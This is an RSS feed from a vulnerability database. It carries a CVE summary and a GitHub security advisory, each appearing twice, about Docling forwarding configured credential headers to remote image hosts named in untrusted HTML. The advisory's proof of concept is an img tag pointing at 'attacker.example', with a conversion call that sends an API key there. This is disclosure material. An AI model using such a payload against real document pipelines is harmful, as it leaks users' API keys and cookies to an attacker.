<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 08:36:03 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-105742</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-105742</link>
      <description>&lt;p&gt;Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document&amp;#39;s origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller&amp;#39;s configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document&amp;#39;s origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller&amp;#39;s configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-105742</guid>
    </item>
    <item>
      <title>GHSA-p3fw-7699-7926 — Docling: Configured HTTP headers sent to every remote image host named by a document</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-p3fw-7699-7926</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: docling, PyPI: docling-slim&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller&amp;#39;s credentials.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document&amp;#39;s origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.&lt;/p&gt;
&lt;p&gt;### Affected configurations&lt;/p&gt;
&lt;p&gt;- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;img src=&amp;#34;https://attacker.example/pixel.png&amp;#34;&amp;gt;
```&lt;/p&gt;
&lt;p&gt;Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={&amp;#34;X-API-Key&amp;#34;: &amp;#34;...&amp;#34;})` sends the key to `attacker.example`.&lt;/p&gt;
&lt;p&gt;Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Fixed in docling 2.132.0 by [#442…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: docling, PyPI: docling-slim&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller&amp;#39;s credentials.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document&amp;#39;s origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.&lt;/p&gt;
&lt;p&gt;### Affected configurations&lt;/p&gt;
&lt;p&gt;- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;img src=&amp;#34;https://attacker.example/pixel.png&amp;#34;&amp;gt;
```&lt;/p&gt;
&lt;p&gt;Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={&amp;#34;X-API-Key&amp;#34;: &amp;#34;...&amp;#34;})` sends the key to `attacker.example`.&lt;/p&gt;
&lt;p&gt;Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Fixed in docling 2.132.0 by [#442…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-p3fw-7699-7926</guid>
    </item>
  </channel>
</rss>
